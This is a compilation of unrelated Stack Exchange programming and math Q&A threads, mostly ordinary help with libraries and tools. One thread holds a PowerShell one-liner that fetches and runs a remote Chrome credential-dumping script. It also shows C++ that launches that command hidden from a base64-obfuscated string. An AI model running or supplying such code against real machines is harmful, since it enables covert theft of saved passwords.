text:
Q: Sequelize.js node.js many to many association I am using sequelize node.js module to form schema in Postgres sql
I Have following two schema of Project and my users.
Project
module.exports = function(sequelize, DataTypes) {
    var project = sequelize.define('project', {
        description: DataTypes.STRING
    },{
        classMethods: {
            associate: function(models) {
                project.hasMany(models.myusers,{through:"project_persons"});
            }
        }
    });

    return project;
};

myusers
    module.exports = function(sequelize, DataTypes) {
        var myusers = sequelize.define('myusers', {
        name: DataTypes.STRING
    },{
        classMethods: {
            associate: function(models) {
                myusers.hasMany(models.project,{through:"project_persons"});
            }
        }
    });

    return myusers;
};

i have trying to form a many to many relationship. When i run application third table "project_person is created".
index.js (routes) i have the following code
models.myusers.create({
        description:"newuser"
    }).success(function(user) {
        var project1;
        var project2;

        models.project.create({
            description:"p1"
        }).success(function(p1){
            console.log("Project 1 created");
            project1 = p1;
        });
         models.project.create({
            description:"p2"
        }).success(function(p2){
            console.log("Project 2 created");
            project2 = p2;
        });

       user.setProjects([project1,project2]).success(function() {
                console.log("CREATION SUCESS");
       });
    });

give me following error on the screen

/home/hassan/Desktop/node/node_modules/sequelize/lib/associations/has-many-double-linked.js:151
  foreignIdentifier] = ((targetKeys.length === 1) ? unassociatedObject[targetKey
                                                                      ^
  TypeError: Cannot read property 'id' of undefined
      at /home/hassan/Desktop/node/node_modules/sequelize/lib/associations/has-many-double-linked.js:151:88
      at Array.map (native)
      at module.exports.HasManyDoubleLinked.injectSetter (/home/hassan/Desktop/node/node_modules/sequelize/lib/associations/has-many-double-linked.js:147:38)
      at instance.(anonymous function).success.proxy.events (/home/hassan/Desktop/node/node_modules/sequelize/lib/associations/has-many.js:317:39)
      at EventEmitter.emit (events.js:95:17)
      at module.exports.CustomEventEmitter.emit (/home/hassan/Desktop/node/node_modules/sequelize/lib/emitters/custom-event-emitter.js:107:33)
      at null. (/home/hassan/Desktop/node/node_modules/sequelize/lib/associations/has-many-double-linked.js:74:63)
      at EventEmitter.emit (events.js:95:17)
      at module.exports.CustomEventEmitter.emit (/home/hassan/Desktop/node/node_modules/sequelize/lib/emitters/custom-event-emitter.js:107:33)
      at emitter.query.success.error.proxy.events (/home/hassan/Desktop/node/node_modules/sequelize/lib/query-interface.js:890:19)
  24 Apr 10:31:47 - [nodemon] app crashed - waiting for file changes before starting...

can any body tell where i am going wrong.

A: Sequelize is an async library and because of that you must use callbacks. This should work as you expect:
models.myusers.create({ description: "newuser" }).success(function(user) {
  models.project.create({ description: "p1" }).success(function(project1) {
    console.log("Project 1 created");
    models.project.create({ description: "p2" }).success(function(project2) {
      console.log("Project 2 created");
      user.setProjects([ project1, project2 ]).success(function() {
        console.log("CREATION SUCESS");
      });
    });
  });
});

Even better: use complete() and the errors (if any) properly:
models.myusers.create({ description: "newuser" }).complete(function(err, user) {
  if (err) throw err;
  models.project.create({ description: "p1" }).complete(function(err, project1) {
    if (err) throw err;
    console.log("Project 1 created");
    models.project.create({ description: "p2" }).complete(function(err, project2) {
      if (err) throw err;
      console.log("Project 2 created");
      user.setProjects([ project1, project2 ]).complete(function(err, association) {
        if (err) throw err;
        console.log("CREATION SUCESS");
      });
    });
  });
});


text:
Q: How can I enable HTTP/S delivery logging for my SNS topic? I have an SQS topic that I want to configure to enable delivery status logging.
Ideally I would like to have my configuration as code in CloudFormation, but I wanted to try configuring my topic in the UI first.
I have an existing IAM role that includes the following policy document:
- Effect: Allow
  Action:
    - "logs:*"
  Resource: '*'

Here are the steps I tried (based on these instructions):

*

*Open AWS SNS Topics page in web UI

*Open the SNS topic I want to edit

*Click the Edit button

*Expand the Delivery status logging section

*Check the HTTP/S checkbox

*Change the Success sample rate to 100%

*Enter the IAM role ARN for the role with the policy document above for both successful and failed deliveries

*Press the Save changes button

When I press the Save changes button, I get this error message:

Couldn't set delivery status logging. Error code: InvalidParameter - Error message: An error occurred while setting the attribute Delivery status logging IAM role for successful deliveries for http. Invalid parameter: HTTPSuccessFeedbackRoleArn:  is not a valid role to allow SNS to write to Cloudwatch Logs

I don't understand why the role would not allow SNS to write to CloudWatch Logs, since I use the wildcard action logs:* in the IAM role's policy.
How can I correctly enable HTTP/S delivery logging for my SNS topic?

A: As pointed out by @Riz, I had to change the Service in my IAM role to sns.amazonaws.com.
Here is the full IAM role definition in CloudFormation that worked for enabling delivery logging (although the resources could have been restricted):
snsIAMRole:
  Type: "AWS::IAM::Role"
  Properties:
    AssumeRolePolicyDocument:
      Version: "2012-10-17"
      Statement:
        - Effect: Allow
          Principal:
            Service: sns.amazonaws.com
          Action: "sts:AssumeRole"
    Policies:
      - PolicyName: test-policy-for-sns
        PolicyDocument:
          Version: "2012-10-17"
          Statement:
            - Effect: Allow
              Action:
                - "logs:*"
              Resource: '*'

A: just change your role trust relationships is fine.
{
"Version": "2012-10-17",
"Statement": [
    {
        "Effect": "Allow",
        "Principal": {
            "Service": "sns.amazonaws.com"
        },
        "Action": "sts:AssumeRole"
    }
]}

redpajama_set_name: RedPajamaStackExchange


text:
Q: Powershell post exploitation script not working as expected I'm testing and using this command to dump my own Chrome credentials.
powershell.exe "iex (iwr https://raw.githubusercontent.com/kerrymilan/Get-ChromeCreds2/master/Get-ChromeCreds2.ps1);" > out.txt

It works, But if this is executed in C++ Windows function CreateProcess, The output is like this
Url                Username
----               ---------
www.example.com     tes...

And no passwords. Why is this happening?
Here is the C++ function
std::string test()
{
    STARTUPINFO sinfo;
    std::string script = b64decode("cG93ZXJzaGVsbC5leGUgImlleCAoaXdyIGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9rZXJyeW1pbGFuL0dldC1DaHJvbWVDcmVkczIvbWFzdGVyL0dldC1DaHJvbWVDcmVkczIucHMxKTsiID4gb3V0LnR4dAo=");
    PROCESS_INFORMATION pinfo;
    memset(&sinfo, 0, sizeof(sinfo));
    if(CreateProcess(NULL, (LPSTR)script.c_str(), NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &sinfo, &pinfo)){
        WaitForSingleObject(pinfo.hProcess, INFINITE);
        CloseHandle(pinfo.hProcess);
        CloseHandle(pinfo.hThread);
    }

    return readFileContents("out.txt");
}


text:
Q: Distinguish between daylight savings // lubridate::force_tz() output I want to distinguish between daylight savings in my time series data set. In the time zone Europe/Berlin every last sunday in october the clock gets rewind backwards from 3am back again to 2am. So in my data set are two 2am hours.
E.g. on 2016-10-30 the daylight saving ended on 02:00:00 CEST such that the clock didn't proceed to the next hour of 03:00:00 CEST but to 02:00:00 CET and then to 03:00:00 CET.
I don't understand why the console output of force_tz() function from the lubridate package doesn't show the forced time zone. But when I use attributes() the console lists the forced time zone as a $tzone attribute.
E.g.:
datetime = as.POSIXct("2016-10-30 02:00:00", tz = "Europe/Berlin")
datetime
[1] "2016-10-30 02:00:00 CEST"

# Now I want the 'same' datetime with CET time zone
library(lubridate)
datetime.force <- force_tz(datetime, tz = "CET")
datetime.force
[1] "2016-10-30 02:00:00 CEST"

attributes(datetime.force)
$class
[1] "POSIXct" "POSIXt"

$tzone
[1] "CET"

I want to understand why the console output doesn't show the CET time zone for the datetime.force variable.
And is it possible to use a merge() function which can distinguish between those two 2am with different time zones.
Thanks for your help and comments.


text:
Q: Proof of Cauchy-Schwarz Inequality
Here is the proof of the Cauchy-Schwarz inequality. I couldn't understand how the writer inferred that putting $x=-\frac{B}{A}$ in (1.24) proves the theorem, could you please expand it for me?
Thanks in advance.

A: Hint. You may write
$$
f(x)=Ax^2+2Bx+C
$$ then
$$
f'(x)=2Ax+2B=2(Ax+B)
$$ and consider solutions $x$ of  $$f'(x)=0.$$

A: What we want to prove is
$$
\left|\sum_{k=a}^n a_k b_k\right| \le \sqrt{\sum_{k=1}^n a_k^2 \sum_{k=1}^n b_k^2\quad{}},
$$
or equivalently
$$
\left( \sum_{k=a}^n a_k b_k \right)^2 \le \sum_{k=1}^n a_k^2 \sum_{k=1}^n b_k^2.
$$
We have
\begin{align}
A & = \sum_{k=1}^n a_k^2, \\[6pt]
B & = \sum_{k=1}^n a_k b_k, \\[6pt]
C & = \sum_{k=1}^n b_k^2.
\end{align}
So the goal is to prove $B^2\le AC$, with equality only if there is some scalar $x$ such that $x(a_1,\ldots,a_n)=(b_1,\ldots,b_n)$.
Notice that since $A=a_1^2+\cdots+a_n^2$, $A$ cannot be negative.  Then notice that
$$
\left( x + \frac B A \right)^2\qquad \begin{cases} =0 & \text{if }x=-B/A, \\[6pt]
> 0 & \text{if }x\ne -B/A. \end{cases}
$$
Consequently
$$
A x^2 + 2Bx + C \qquad\begin{cases} = \dfrac{B^2-AC} A & \text{if }x=-B/A, \\[6pt]
>\dfrac{B^2-AC} A & \text{if }x\ne B/A. \end{cases}
$$
Thus the smallest possible of $Ax^2+2Bx+C$ is $\dfrac{B^2-AC} A$.
The smallest possible value cannot be negative since $Ax^2+2Bx+C$ is a sum of squares:
$$
Ax^2+2Bx+C = (a_1 x+b_1)^2+\cdots+(a_n x+b_n)^2. \tag 1
$$
Hence $\dfrac{B^2-AC} A\le 0$.  Since $A>0$, this implies $B^2-AC\le 0$, which was to be proved.
We can have $B^2-AC=0$ only if for some $x$, the sum in $(1)$ is $0$.  But that can happen only if every term in the sum is $0$, and that implies that for some $x$ we have $x(a_1,\ldots,a_n)=(b_1,\ldots,b_n)$.

A: It is because $Ax^2+2Bx+C\ge 0$ for all $x$ implies its minimum $\dfrac{AC-B^2}\ge 0$, which is equivalent to $B^2\le 0$ or $\lvert B\rvert \le\sqrt A\,\cdot \sqrt B$, which is exactly Cauchy-Schwarz inequality.
Alternatively, without having to complete the squre, one might directly say the reduced discriminant $\Delta'=B^2-AC\le 0$.

A: Specifically, the term in parentheses on the right-hand side is a quadratic function, opening upward, with a double root at $x = -\frac{B}{A}$. The other term on the right-hand side is a constant, and therefore does not affect the location minimum of the function. Hence, the minimum must be attained at the minimum of the quadratic, which is the location of its double root.


text:
Q: How to modify onmesage property in Web Worker in real-time? I'm trying to modify onmessage property of Web Worker to create a wrapper around user defined onmessage function in real time.
I've tried by using defineProperty on Worker prototype.
page.js
<script>

Object.defineProperty(Worker.prototype, 'onmessage', {
    set: function(f) {
                        Worker.prototype.__onmessage__ = function(e) {
                            console.log('wrapper');
                            f(e);
                        }
                     },

    get: function() { return Worker.prototype.__onmessage__; }
});

var w = new Worker("worker.js");

w.onmessage = function(e) {  // defineProperty.set is invoked on assignment
  console.log(e.data + ' from worker');
}

console.log(w.onmessage);  // displays function Worker.__onmessage__(e)

w.postMessage('hello');    // start worker; w.onmesage is never invoked

</script>

worker.js
onmessage = function(e) {
  postMessage(e.data);
}

Worker onmesage callback is never invoked. Tried in FF and Chrome.

A: My guess is that you will need to create an own onmessage property on each worker instance for this to work:
Object.defineProperty(Worker.prototype, "onmessage", {
    set: function(f) {
        Object.defineProperty(this, "onmessage", {
            value: function(e) {
                console.log('wrapper:', e);
                return f.apply(this, arguments);
            },
            writable: true,
            configurable: true
        });
    },
    configurable: true
});

However, don't expect this to work in every browser. Some might create the .onmessage property on construction of the Worker and initialise it with null - your setter would never be called.


text:
Q: Wait in Mocha api tests I have following api test written in Mocha
I put inserts to database and edited values are available in api response after 5 min (cache).
How i should wait for cache in my test caseses?
Now i using following code, and it gives me error
     Error: Timeout of 30000ms exceeded. For async tests and hooks, ensure "done()" is called; if returning a Promise, ensure it resolves. (C:\apiTests\test\07_0_dbtests.js)

My function:
    it('should get updated restaurant calendar for dine in', function (done) {
  this.timeout(30000);
  setTimeout(function(){
  tempUrl = `/rest/v1/restaurants/${config.restaurant_id_for_sql_queries}/DINE_IN`;
  request
    .get(tempUrl)
    .set(config.headers)
    .set('Authorization', `Bearer ${auth_token}`)
    .end(function (err, res) {
      logger.info(utils.logToConsole(res.request.url));
      assert.equal(res.status, 200, 'response status!=200');
      today = utils.getDayNameFromDate(utils.getTodayDate());
      jsonstring = "";
      switch (new Date().getDay()) {
        case 0: assert.isTrue(res.body.details.channels.DINE_IN.openHoursSun.closeAllDay, 'restaurant should be closed all day'); break;
        case 1: assert.isTrue(res.body.details.channels.DINE_IN.openHoursMon.closeAllDay, 'restaurant should be closed all day'); break;
        case 2: assert.isTrue(res.body.details.channels.DINE_IN.openHoursTue.closeAllDay, 'restaurant should be closed all day'); break;
        case 3: assert.isTrue(res.body.details.channels.DINE_IN.openHoursWed.closeAllDay, 'restaurant should be closed all day'); break;
        case 4: assert.isTrue(res.body.details.channels.DINE_IN.openHoursThu.closeAllDay, 'restaurant should be closed all day'); break;
        case 5: assert.isTrue(res.body.details.channels.DINE_IN.openHoursFri.closeAllDay, 'restaurant should be closed all day'); break;
        case 6: assert.isTrue(res.body.details.channels.DINE_IN.openHoursSat.closeAllDay, 'restaurant should be closed all day'); break;
      }
      assert.isTrue(res.body.details.channels.DINE_IN.closeAllDay, 'restaurant should be closed all day');
      done(err);
    });
  },30000);
});

Do you have experience in waiting? How i can do it properly?

A: Your code:
this.timeout(30000);

so it will wait 30s.
You can use:
this.timeout(360000); // '6m'

to increase the timeout to 6 mins(you can change 360000 to other value).


text:
Q: Query MS graph API to get all sites containing 'ABC' in URL through Power Automate I have been trying to work out this using Power Automate to list all sites in the site collection with the URL that contains at the end "ABC". I don't want to use names as it's not consistent.
I have tried using this:
https://graph.microsoft.com/v1.0/sites?search=ABC$top=2"

But it doesn't return the right result. The documentation states query but what are the query options.
So if a site is https://tenant.sharepoint/sites/ABC or https://tenant.sharepoint/sites/ABCD.
I want to filter sites that are like 'ABC' or contains 'ABC'.
Also the Get a site resource by path doesn't explain much.

A: Try this. You may have to filter the result set that comes back to remove some extraneous results, but it should get you the results you're looking for.
https://graph.microsoft.com/v1.0/sites?$search="ABC"

For more information on the use of $search in Microsoft Graph see: Use the search query parameter to match a search criterion


text:
Q: How to get PyQt QGraphicsTextItem opaque area self.boundingRect() give me dashed line dimensions shown in image. i need to get opaque area (where actual text is drawn)
I tried getting
self.opaqueArea()

but it returns QPainterPath object, which seems pretty complicated and apparently doesn't have width or height functions etc as its representation of complicated path objects. Q. Is there an easier way to calculate that. any ideas.. thanks in advance

print ("TEXT BOUNDING RECT:",self.boundingRect())
print ("TEXT OPAQUE AREA  :",self.document().size())
print ("TEXT OPAQUE AREA BR size  :",self.opaqueArea().boundingRect().size())

output:
TEXT BOUNDING RECT: PyQt5.QtCore.QRectF(0.0, 0.0, 590.0, 56.0)
TEXT OPAQUE AREA  : PyQt5.QtCore.QSizeF(590.0, 56.0)
TEXT OPAQUE AREA BR size  : PyQt5.QtCore.QSizeF()

A: QGraphicsTextItem internally uses a QTextDocument to manage the text. You can access this through .document(). The text document has a size property, which returns a QPointF.
 self.document().size()

Unfortunately all the methods for this document return a standard rect of the bounding box. However, it is possible to make the text box re-adjust itself to the size of the text it contains. It doesn't quite get down to pixel level (due to line height padding) but it's close.
import sys
from PyQt5.QtCore import *
from PyQt5.QtGui import *
from PyQt5.QtWidgets import *

class MainWindow(QMainWindow):

    def __init__(self, *args, **kwargs):
        super(MainWindow, self).__init__(*args, **kwargs)

        self.view = QGraphicsView()

        scene = QGraphicsScene()

        t = QGraphicsTextItem("Sample\n Text")
        font = t.font()
        font.setPointSize(40)
        font.setWeight(600)
        t.setFont(font)
        t.setTextWidth(400)
        scene.addItem(t)

        rect = t.boundingRect()
        r = QGraphicsRectItem(rect)
        r.setPen(QColor('red'))
        scene.addItem(r)

        d = t.document()
        d.setDocumentMargin(0)
        d.adjustSize()
        rect = t.boundingRect()

        r = QGraphicsRectItem(rect)
        r.setPen(QColor('blue'))
        scene.addItem(r)

        self.view.setScene(scene)

        self.setCentralWidget(self.view)

if __name__ == '__main__':
    app = QApplication(sys.argv)
    w = MainWindow()
    w.show()
    app.exec_()

The above will give the following result —

The only other idea I had was to get a QPainterPath from the text document and calculate that QRect, but it doesn't appear to be easily accessible. One alternative would be to paint it to a QPainter and crop it there — but there is no built in cropping functionality in Qt.


text:
Q: Anyone with any experience using compliance recording solutions with Microsoft Teams to record PSTN calls? I am working with a small Health Insurance broker that is using Teams. They are considering migrating their phone numbers into Teams and are further interested in having PSTN calls to these Teams numbers recorded. Calls related to Medicare/Medicaid need to be recorded for compliance purposes.
I know that they can manually start a recording for meetings occurring within the Teams client and the appropriate policy changes set, but recordings are not currently supported for PSTN calls without the use of a partner - MS lists a bunch on their website.
Does anyone have any experience with any MS partners for this scenario? I do plan on calling around and getting demos. This broker would like, for example, inbound PSTN calls to a specific team's number to be automatically recorded.
Partners are listed here: https://learn.microsoft.com/en-us/microsoftteams/teams-recording-policy#compliance-recording-for-teams-certification-programs


text:
Q: Decompile Mac applications When I download Mac applications they come in a .app extension. When I right click and view package info I see a lot of files in it. What are these files? Does it
mean the apps are open source? Also how can I go about on decompiling an application? On Windows I was able to use s hex editor and decompiling sofware to mess with the internals in making the app do new things. How does it work on the Mac??

A: .app folders are called bundles. They are a simple presentation for application and allow easy move or uninstallation. Mac OS uses bundles in every places when it needs to show one entity that contains multiple files (Frameworks, Preferences Pane, Plugins, etc.).
See http://developer.apple.com/mac/library/DOCUMENTATION/CoreFoundation/Conceptual/CFBundles/BundleTypes/BundleTypes.html#//apple_ref/doc/uid/10000123i-CH101-SW13 to learn more about how they are structured.

A: Most applications on OS X are distributed as bundles, which looks like a file but is really a folder containing other files and folders. These "other" files and folders are resources used by the application. On OS X, resources (images, sound files, etc.) are distributed as separate files, rather than one big file containing all the resources -- thus you don't need a hex editor to view these resource files.
The contents of a .app bundle typically contain items like this:
.app/                  <- The app bundle
  Contents/
    _CodeSignature/    <- Used to verify an application
    Frameworks/        <- Frameworks used by and distributed with the application
    Info.plist         <- Application metadata
    Library/           <- Files that enable various OS X functionality
      QuickLook/       <- Custom QuickLook renderers
      Spotlight/       <- Custom Spotlight importers
    MacOS/             <- Contains the actual binary code executed when double-clicking on the application
    PlugIns/           <- Application plugins
    Resources/         <- Resource files, such as icons, UI layouts, sound files, image files

Note that every application on OS X contains a layout like this, regardless of whether they are open-source apps or not.

A: .app "files" are folders containing multiple files. What you're seeing are the files distributed with the program, not the source code.
The best analogy I can think of is if Windows programs were distributed in .zip files and you just dropped them in C:\Program Files to install them instead of extracting them. (So the files you're seeing are the files you would see in that program's "Program Files\program name" folder on Windows)


text:
Q: String methods vs. Array methods when comparing strings (Big O) Let's say that we're comparing two strings, that have a special character that causes something unusual to occur — in this case, the # character deletes the previous character.
Here's one solution that builds out strings and then compares them, using the string methods slice and concat:
const checkSame = (a, b) => {
  let one = ''
  for(let i = 0; i < a.length; i++){
    if(a[i] === '#'){
      one.slice(0, -1)
    } else {
      one.concat(a[i]);
    }
  }
  let two = ''
  for(let i = 0; i < b.length; i++){
    if(b[i] === '#'){
      one.slice(0, -1)
    } else {
      one.concat(b[i]);
    }
  }
  return one === two
};

Here's another solution that uses arrays, and their methods push and pop:
export const compareTwoStrings2 = (a, b) => {
  let one = [];
  for (let i = 0; i < a.length; i++) {
    if (a[i] === "#") {
      one.pop();
    } else {
      one.push(a[i]);
    }
  }
  let two = [];
  for (let i = 0; i < b.length; i++) {
    if (b[i] === "#") {
      two.pop();
    } else {
      two.push(b[i]);
    }
  }
  for(let i = 0; i < one.length; i++){
      if(one[i] !== two[i]) return false;
  }
  return true;
};

The second solution uses an additional loop which makes me think that if given a string of n characters it would take O(3n) time (worst case), and the first would only take O(2n) time.
Is this correct? Is concatenating and slicing off a string more efficient than using arrays? Or does the final comparison of the two strings also take n time as the strings grow in length?

A: O(3n) ~ O(2n) ~ O(n) so basically the worst-case complexity of these two are the same
Ref: Big O notation > Multiplication by a constant


text:
Q: Having trouble using the .get() function on Tkinter, with regards to text entry boxes I am trying to make my own "email interface", in which I need to gather the inputs from the user via the entry boxes, to use them in the email sending process. The problem is that the .get() feature always seems to error.
line 32, in send_it email_resipient = Three.get()
AttributeError: 'NoneType' object has no attribute 'get'

Please help, I have been researching for hours, and I can't seem to find a fix. Here's the code....
from tkinter import *
import smtplib

root = Tk()
root.title("Jon's Email Service")
root.geometry("800x640+0+0")

Label(root, text="Jon's Email Service", font=("arial", 60,
"bold"), fg="black").pack()

Label(root, text="User's Email address {Has to be gmail} ",
font=("arial", 20,), fg="black").pack()

One = Entry(root,width=40, bg="white").pack()

Label(root, text="User's Gmail Password", font=("arial", 20,),
fg="black").pack()

Two = Entry(root, width=40, bg="white").pack()

Label(root, text="Email Recipient", font=("arial", 20,),
fg="black").pack()

Three = Entry(root,width=40, bg="white").pack()
Label(root, text="The Message", font=("arial", 20,),
fg="black").pack()

Four = Entry(root, width=60, bg="white").pack()

def send_it():
    email_resipient = Three.get()
    emailUser = One.get()
    user_Password = Two.get
    msg = Four.get()
    print(emailUser)
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(emailUser, user_Password)
    server.sendmail(emailUser, email_resipient, msg)
    server.quit()
Label(root, text="Email Is Sent!", font=("arial", 20,),
fg="black").pack()

send = Button(root, text="Send", width = 40, bg = "lightblue",
command = send_it).pack()

root.mainloop()

A: You should not use .pack() at the end of assignment string, you should first assign variable, then .pack() it:
from tkinter import *
import smtplib

root = Tk()
root.title("Jon's Email Service")
root.geometry("800x640+0+0")

Label(root, text="Jon's Email Service", font=("arial", 60,
"bold"), fg="black").pack()

Label(root, text="User's Email address {Has to be gmail} ",
font=("arial", 20,), fg="black").pack()

One = Entry(root,width=40, bg="white")
One.pack() #here

Label(root, text="User's Gmail Password", font=("arial", 20,),
fg="black").pack()

Two = Entry(root, width=40, bg="white")
Two.pack() # here

Label(root, text="Email Recipient", font=("arial", 20,),
fg="black").pack()

Three = Entry(root,width=40, bg="white")
Three.pack() # here
Label(root, text="The Message", font=("arial", 20,),
fg="black").pack()

Four = Entry(root, width=60, bg="white")
Four.pack() # here

def send_it():
    email_resipient = Three.get()
    emailUser = One.get()
    user_Password = Two.get
    msg = Four.get()
    print(emailUser)
    server = smtplib.SMTP("smtp.gmail.com", 587)
    server.starttls()
    server.login(emailUser, user_Password)
    server.sendmail(emailUser, email_resipient, msg)
    server.quit()
Label(root, text="Email Is Sent!", font=("arial", 20,),
fg="black").pack()
send = Button(root, text="Send", width = 40, bg = "lightblue",
command = send_it).pack()

root.mainloop()

The variable gets the return value of pack() function, not actually a Entry or whatever, and the return of pack() is None.


text:
Q: Internet Explorer misinterprets html tags Internet Explorer misinterprets website: it reads <tag></tag>bla bla</tag><//tag> instead of <tag>bla bla</tag>. For instance the code of the nav section is:

<form action="Algemene Voorwaarden Bijles Studio.pdf" method="get"   target="_blank">
   <button>algemene voorwaarden</button>
   </form>
   Bla Bla

But the inspect element function of IE shows the following:

...

   <//nav>

And this doesn't only happen with the nav tags, it also happens with figcaption, section, footer and other tags, for instance the IE inspect element shows:

  Onze bijlesdocenten

<//figcaption>

Furthermore the website works fine in Google Chrome and other browsers.
The url of the site is: http://www.bijlesstudio.com
Comment: I asked this question on ProWebmasters, but they send me here because the mod thought it was an CSS problem, so don't delete this post for being a duplicate s.v.p.
Regards,
Jens Wagemaker

A: One thing that can be happening is that you are using Internet Explorer in
IE8 or older document mode which do not support the new semantic elements of HTML5.

Can I use... Support tables for HTML5, CSS3, etc

To resolve:

*

*check and change the document mode to IE9+ by right-cliking on the page->inspect element->(look around the right top corner in the inspect elemnt section) select Edge from dropdown.

OR

*

*you can add this to your pages ... section
<meta http-equiv="X-UA-Compatible" content="IE=Edge">

as common sense would tell, this is a much better option than the previous one.

A: There is a space
 which might be part of it but your editor is inserting a few Byte-Order-Marks which may be messing with IE. Check your editor's settings to turn that off.
Always validate your HTML to find such things.


text: Q: Watching for file changes with StatReloader I try to use docker in order to make the process of launching my django app automatically. I built the image, then executed the command docker run <image>. But everything I see is the line Watching for file changes with StatReloader and nothing happens. What am I doing wrong?


text:
Q: Thunderbird: hide tag notification in the message header When message is tagged in Thunderbird, not only has it different color, but the tag also appears in the message header.

I find this completely useless. I can already see that the message is tagged, I don't need to be reminded twice. The message header is already to big, and now yet another line is wasted.
Is it possible to remove the tag notification from the message header?
I am looking for a solution that does not require to install some obscure addon. An ideall solution would be for example editing about:config or userContent.css/userChrome.css
I am using Thunderbird (Icedove) 24.6.0 on Debian Wheezy

A: Edit (or create) the userChrome.css file in your Thunderbird profile, and add the following:
#expandedtagsRow { display: none }

then restart Thunderbird.
If you have the DOM Inspector installed, you can find the IDs/classes to use for various things by pulling up the DOM Inspector (under Tools), then File->Inspect Chrome Document->(pick your main window). Then you can use the find-a-node-by-clicking button (the one with a small pointer pointing inside a rounded rectangle). Click that button, then click on the part of the GUI (in the main window) that you want to change. It'll immediately show you the element that corresponds to. You can then change it by editing your userChrome.css file.

A:

*

*Go to Tag tab beside Reply option.

*Tick on the remove all tags or type 0 .
It should be work for all mails in the inbox.


text:
Q: How to use variables in a  html tag using jinja? Below is a made example of what I am trying to do.  Essentially I am trying to create variables to reduce the amount of clutter and for other reasons.  The link goes to in this case "use_var" and not the correct link.  Is there a way to use a variable in the "a href = portion"?
{% set ht = 'http:' %}
{% set url_path = '//random_url:' %}
{% set port = '8000' %}
{% set use_var = '{{ ht }} {{ url_path }} {{ port }}' %}
{% set url = ' example url ' %}

... html code...

       {{ url }} </td

If i did:
 {% set url = ' example  %}

It'll work that way but I am trying to avoid having to do that for each link.
I've tried the 'join' and it still results with "The requested URL /{{ use_var }} was not found...

A: You Can try in this way:
{% set use_var = [ht, url_path , port]|join(',') %}

A: The answer is
{% set use_var = ht + url_path + port %}
{% set url = ' example url ' %}

this will retrieve the correct path


text:
Q: TypeError: Cannot read property 'push' of undefined in node-red function node I am using node-red, the function node to generate some random matrix. However, every time when I deploy the node, the error "TypeError: Cannot read property 'push' of undefined" will appear, can someone help me to take a look at the code?
// Generate some random data
// See https://www.patrick-wied.at/static/heatmapjs/example-minimal-config.html

var len = 200;

msg.payload = [];

while (len--) {
  var value = Math.floor(Math.random() * 100);
  msg.payload.push(value);
}

return msg;

A: The error tells , push cannot be done on 'undefined'. This suggests that msg is undefined or msg.payload is undefined. In your case, declare the payload separately before push and then assign it to the msg finally.

A: Initialise msg before
var len = 200;
var msg = {};
msg.payload = [];


text:
Q: An OpenCV function won't run in Pycharm but no problem in Jupyter I intend to use cv2.dnn_DetectionModel for YOLOv4 inference as here https://github.com/opencv/opencv/pull/17185.
However, I got error like others reported here https://github.com/AlexeyAB/darknet/issues/5366, (-212 Parsing...), and clearly this bug hasn't been fixed.
So I tried on YOLOv3 and run the same script for yolov3.cfg and yolov3.weights. It works fine in both windows command and JupyterLab. But it srill reports the same error in Pycharm. Could anyone give me some advice?
My environments: win 10; CUDA 10.2; OpenCV & contrib 4.2.0. But all these settings are the same in Pycharm, so it shouldn't be a problem...

A: I have run into the same issue and I fixed it by setting the absolute path for the location of yolov3.cfg and yolov3.weights.
Absolute paths would look like this:
String modelConfiguration = "/Users/yudhiesh/darknet/cfg/yolov3.cfg";
String modelWeights = "/Users/yudhiesh/darknet/yolov3.weights";


text:
Q: sql using select and adding to a table SELECT `pro`.`St`, `s`.`Quantity`
    FROM `s`
    LEFT JOIN `web`.`pro` ON `s`.`Pro_id` = `pro`.`ProdID`

the above query results in a table like
    st          quantity
    132             1
    11              1

st is from one table and quantity is from another
using this select statement I want to add the resulting quantity to the st row in the other table.
Basically updating the second table by adding the quantity i get from this select statement.

A: UPDATE `web`.`pro`
SET `pro`.`st` = `pro`.`st` + `s`.`Quantity`
FROM `web`.`pro`
JOIN `shopping cart` `s`
  ON `s`.`Pro_id` = `pro`.`ProdID`;

Something like that ?


text:
Q: Будет ли работать Python программа на ПК на котором питон не скачан? Написал небольшую игру на питоне. Хочу скинуть другу. Будет ли она у него работать если я сделаю из пайтон файла exe файл, но при условий что питон у него на пк не скачан?

A: Будет. Чтобы собрать exe используй pyinstaller
Если у тебя несколько файлов, то вместо
pyinstaller твой_скрипт.py используй pyinstaller --onefile твой_скрипт.py

Чтобы команда выполнилась нужно находится в той же папке, что и твой скрипт.
Перейти в папку со скриптом можно командой cd /path/to или, если ты на Windows, cd C:\path\to (cd - change directory)

pyinstaller автоматически соберет все зависимости. Также, если есть желание, можешь поставить ico иконку на свою игру. О том, как это сделать можешь почитать здесь либо просто загуглить


text:
Q: How to make Order with Parallel Express Checkout in Paypal? How can we place "Order" for parallel transactions in Express Checkout?
I set
PAYMENTREQUEST_0_PAYMENTACTION = Order  PAYMENTREQUEST_1_PAYMENTACTION= Order in SetExpressCheckout and then in DoExpressCheckoutPayment. but it gives error "Internal Error"  PAYMENTINFO_1_ERRORCODE] => 10001
[PAYMENTINFO_1_SHORTMESSAGE] => Internal Error
[PAYMENTINFO_1_LONGMESSAGE] => Internal Error
[PAYMENTINFO_1_SEVERITYCODE] => Error
[PAYMENTINFO_1_ACK] => Failure All is fine until  DoExpressCheckoutPayment  why this internal error is coming?  Thanks in advance

A: For
PAYMENTREQUEST_0_PAYMENTACTION = Order PAYMENTREQUEST_1_PAYMENTACTION= Order

in
SetExpressCheckout and then PAYMENTREQUEST_0_PAYMENTACTION = Order PAYMENTREQUEST_1_PAYMENTACTION= Order

in DoExpressCheckoutPayment, "Internal Error" came in DoExpressCheckoutPayment response
Because I used personal account id in PAYMENTINFO_0_SELLERPAYPALACCOUNTID and PAYMENTINFO_0_SELLERPAYPALACCOUNTID.
So these parameters must have paypal Business account ids. (in my case the error was because of wrong usage of  paypal accounts where there must be Business accounts ).
Thanks


text:
Q: Using Breeze with a WebApi Service from another domain How can I use an existing webapi service with breeze? Note that my webapi service resides at "server1/api" and the web application is at "server2". I tried changing the service name in the dataservice, but get an XMLHttpRequest Exception 101. This is a cross domain error. Is it possible to use breeze with a webapi service from another domain?

A: Cross-origin Breeze Apps
Yes it is possible to get the Breeze client app from one server and have that Breeze app communicate with a data service hosted on a different server.
A Breeze client app runs cross-origin quite well on a CORS-supportive browser when the service is configured for CORS.
